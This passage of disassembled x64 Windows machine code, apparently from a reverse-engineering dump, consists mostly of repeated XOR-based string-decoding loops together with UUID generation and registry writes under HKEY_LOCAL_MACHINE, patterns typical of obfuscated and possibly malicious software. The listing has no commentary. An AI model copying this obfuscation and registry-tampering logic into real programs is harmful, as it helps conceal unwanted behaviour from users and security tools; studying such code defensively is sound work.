mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov r9, r13
mov rdx, r13
nop dword [rax]
movsx rcx, byte [rbp + rdx + 0x1b0]
imul rax, r9, 0x1f
add rcx, rax
imul r9, rcx, 0x1f
movsx rax, byte [rbp + rdx + 0x1b1]
add r9, rax
add rdx, 2
cmp rdx, 0xa6
jb 0x140011510
movups xmm0, xmmword [0x140079fb0]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140079fc0]
movsd qword [rsp + 0x40], xmm1
mov eax, dword [0x140079fc8]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x140079fcc]
mov byte [rsp + 0x4c], al
mov r8d, r13d
cmp esi, 2
jl 0x1400116b7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400115b0
cmp r8d, 0x1d
jge 0x140011702
movsxd rax, r8d
lea r10, [rsp + 0x30]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x1d
jl 0x1400116d0
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
cmp byte [0x1400711dd], r13b
je 0x140011722
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
call fcn.140001270
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
mov qword [rbp - 0x60], r13
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call qword [sym.imp.RPCRT4.dll_UuidToStringA]
test eax, eax
jne 0x140011785
mov rdx, qword [rbp - 0x60]
mov r8, r12
inc r8
cmp byte [rdx + r8], r13b
jne 0x140011763
inc r8
lea rcx, [rbp + 0x180]
call fcn.140026550
lea rcx, [rbp - 0x60]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
movups xmm0, xmmword [str.exmmznxbr__0_7_3]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400716a0]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140011932
cmp esi, 2
jl 0x1400118f2
movdqa xmm5, xmmword [0x140082b80]
mov edx, r13d
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp - 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400117f1
jmp 0x140011932
lea r9, [rsp + 0x30]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140011900
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140011d71
movsd xmm0, qword [str.V_QSUYzKV_A]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140071480]
mov dword [rbp - 0x38], eax
cmp byte [0x140071483], r13b
je 0x140011ad2
mov r8d, r13d
cmp esi, 2
jl 0x140011a95
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140082b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
mov eax, dword [0x140082bf0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.V_QSUYzKV_A]
pxor xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x140082b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
pxor xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140011aa0
lea rcx, [rbp + 0x180]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rcx + rax], r13b
jne 0x140011ae0
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140011d62
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x140011ca7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011ba0
cmp r8d, 0x1b
jge 0x140011cf2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140011cc0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x140011d0e
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [str.V_QSUYzKV_A]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140071480]
mov dword [rbp - 0x38], eax
movups xmm0, xmmword [str.exmmznxbr__0_7_3]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400716a0]
movaps xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140011fa7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], r13b
je 0x140011f52
mov r8d, r13d
cmp esi, 2
jl 0x140011f07
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011e00
cmp r8d, 0x1e
jge 0x140011f52
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140011f20
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x140011f72
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [str.exmmznxbr__0_7_3]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400716a0]
movaps xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
movups xmm0, xmmword [0x1400715f8]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x140071608]
mov dword [rbp - 0x30], eax
movzx eax, word [0x14007160c]
mov word [rbp - 0x2c], ax
cmp byte [0x14007160d], r13b
je 0x140012172
mov r8d, r13d
cmp esi, 2
jl 0x140012127
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140012020
cmp r8d, 0x16
jge 0x140012172
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140012140
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
lea r9, [rbp + 0x180]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
cmp byte [0x1400711dd], r13b
je 0x1400121a6
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
call fcn.140001270
lea rcx, [rbp + 0x150]
call fcn.14000fb40
movzx eax, word [0x140071448]
movups xmm0, xmmword [str.enkm]
mov word [rbp - 0x80], ax
movups xmmword [rsp + 0x50], xmm0
movzx eax, byte [0x14007144a]
movups xmm0, xmmword [0x140071438]
movups xmm1, xmmword [0x140071428]
mov byte [rbp - 0x7e], al
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov r8d, r13d
cmp esi, 2
jl 0x140012339
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140012232
cmp r8d, 0x33
jge 0x140012382
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140012350
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400126a7
movsd xmm0, qword [str.XKMTZQX_]
movsd qword [rbp - 0x60], xmm0
movzx eax, byte [0x1400712f8]
mov byte [rbp - 0x60], 0x48
xor byte [rbp - 0x5f], 0x37
xor byte [rbp - 0x5e], 0x38
xor byte [rbp - 0x5d], 0x39
xor byte [rbp - 0x5c], 0x3a
xor byte [rbp - 0x5b], 0x3b
xor byte [rbp - 0x5a], 0x3c
xor byte [rbp - 0x59], 0x3d
xor al, 0x3e
mov byte [rbp - 0x58], al
lea rcx, [rbp + 0x150]
mov rax, r12
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400123f1
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140012698
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x1400125b7
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400124b0
cmp r8d, 0x1b
jge 0x140012602
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400125d0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x140012622
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [str.XKMTZQX_]
movsd qword [rbp - 0x40], xmm0
movzx eax, byte [0x1400712f8]
mov byte [rbp - 0x38], al
movups xmm0, xmmword [str.enkm]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071428]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140071438]
movaps xmmword [rsp + 0x70], xmm0
movzx eax, word [0x140071448]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14007144a]
mov byte [rbp - 0x7e], al
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400128f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], r13b
je 0x140012882
mov r8d, r13d
cmp esi, 2
jl 0x140012837
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
